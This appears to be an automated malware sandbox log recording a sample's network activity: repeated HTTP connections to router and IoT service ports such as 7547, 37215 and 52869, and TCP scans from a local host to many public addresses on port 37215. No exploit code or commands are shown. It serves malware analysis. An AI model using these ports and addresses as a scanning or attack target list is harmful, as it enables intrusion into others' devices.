Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47774
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60426 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47790
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51398
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51398
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51466
Source: unknown	Network traffic detected: HTTP traffic on port 45820 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42904 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59250 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 36626 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47540 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47540 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36674 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55862 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57392 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45834 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33414 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48706 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49536 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33558 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33414 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43500 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41710 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41156 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38494 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38498 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38494
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38498
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38494
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48794 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59642 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41808 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35016 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60950 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41108 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 37814 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55266 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33742
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38470
Source: unknown	Network traffic detected: HTTP traffic on port 55272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33754
Source: unknown	Network traffic detected: HTTP traffic on port 38602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43626 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38602
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36520 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37748
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37814
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57224 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37748
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 58864
Source: unknown	Network traffic detected: HTTP traffic on port 43224 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35918 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48272
Source: unknown	Network traffic detected: HTTP traffic on port 48282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48282
Source: unknown	Network traffic detected: HTTP traffic on port 49090 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44424 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 59432 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40704 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46796 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58510 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49090 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58510
Source: unknown	Network traffic detected: HTTP traffic on port 58576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49090
Source: unknown	Network traffic detected: HTTP traffic on port 53636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58576
Source: unknown	Network traffic detected: HTTP traffic on port 36868 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36868 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42606
Source: unknown	Network traffic detected: HTTP traffic on port 42754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42754
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58576
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36900 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49112 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49112
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45262 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45262 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43720 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 38240 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38240
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38254
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37598 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 37598
Source: unknown	Network traffic detected: HTTP traffic on port 53678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58208 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35558 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45206 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49364
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36682 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39254 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39262 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49396
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55324 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38932 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38968 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46484
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46554
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35194 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39754 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8088 -> 57908
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 41480 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 45138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53400 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53422 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53624 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47790 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35772 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60792 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 60792 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60880 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42806
Source: unknown	Network traffic detected: HTTP traffic on port 45818 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45818 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33288 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48526 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43260 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48550 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41832 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48712
Source: unknown	Network traffic detected: HTTP traffic on port 45818 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48718
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55134 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41680 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59316 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59316 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59316
Source: unknown	Network traffic detected: HTTP traffic on port 59320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59320
Source: unknown	Network traffic detected: HTTP traffic on port 59970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55062 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52248
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52252
Source: unknown	Network traffic detected: HTTP traffic on port 54740 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47668 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46702 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49412 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59320
Source: unknown	Network traffic detected: HTTP traffic on port 46702 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35884 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35356 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44468 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46480 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 57696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57656
Source: unknown	Network traffic detected: HTTP traffic on port 45812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57696
Source: unknown	Network traffic detected: HTTP traffic on port 45820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33920 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 7547

Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.154.31.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.196.167.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.243.226.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.240.35.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.207.207.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.165.122.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.68.214.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.115.121.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.237.130.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.227.6.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.125.245.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.84.164.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.80.22.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.101.228.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.169.33.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.39.227.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.143.77.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:29341 -> 197.194.173.140:37215
